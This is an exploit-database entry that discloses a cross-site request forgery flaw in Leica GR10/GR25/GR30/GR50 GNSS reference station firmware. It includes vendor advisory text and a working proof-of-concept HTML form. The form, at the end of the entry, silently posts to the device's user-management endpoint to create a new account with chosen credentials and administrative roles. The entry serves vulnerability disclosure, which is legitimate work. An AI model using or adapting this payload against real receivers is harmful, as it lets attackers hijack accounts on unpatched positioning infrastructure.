Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery

vendor:

GR10/GR25/GR30/GR50 GNSS

by:

Gjoko 'LiquidWorm' Krstic

6.8

CVSS

MEDIUM

Cross-Site Request Forgery

352

CWE

Product Name: GR10/GR25/GR30/GR50 GNSS

Affected Version From: 1.00.395

Affected Version To: 4.30.063

Patch Exists: NO

Related CWE: N/A

CPE: a:leica_geosystems:gr10/gr25/gr30/gr50_gnss:4.30.063

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WindowsCE

2018

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implementing a security policy that prohibits the use of untrusted websites and implementing a secure authentication mechanism.

Source

Exploit-DB raw data:

<--

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery


Vendor: Leica Geosystems AG
Product web page: https://www.leica-geosystems.com
Affected version: 4.30.063
                  4.20.232
                  4.11.606
                  3.22.1818
                  3.10.1633
                  2.62.782
                  1.00.395

Summary: The Leica GR10 is the next generation GNSS reference station receiver
that combines the latest state-of-the-art technologies with a streamlined
'plug and play' workflow. Designed for a wide variety of GNSS reference station
applications, the Leica GR10 offers new levels of simplicity, reliability and
performance.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: BarracudaServer.com (WindowsCE)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5502
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php


18.12.2018

-->


<html>
  <body>
   <form action="http://192.168.1.17/config/config_UserManagementPostBackHelper.lsp" method="POST">
     <input type="hidden" name="txtHelpPage" value="config_changeuser" />
     <input type="hidden" name="txtUsername" value="testingus" />
     <input type="hidden" name="txtPassword" value="12345678" />
     <input type="hidden" name="txtConfirmPassword" value="12345678" />
     <input type="hidden" name="webRole" value="3" />
     <input type="hidden" name="ftpRole" value="2" />
     <input type="hidden" name="TxtOperationMode" value="2" />
     <input type="hidden" name="txtEditedUser" value="" />
     <input type="hidden" name="userId" value="nil" />
     <input type="submit" value="Init" />
   </form>
  </body>
</html>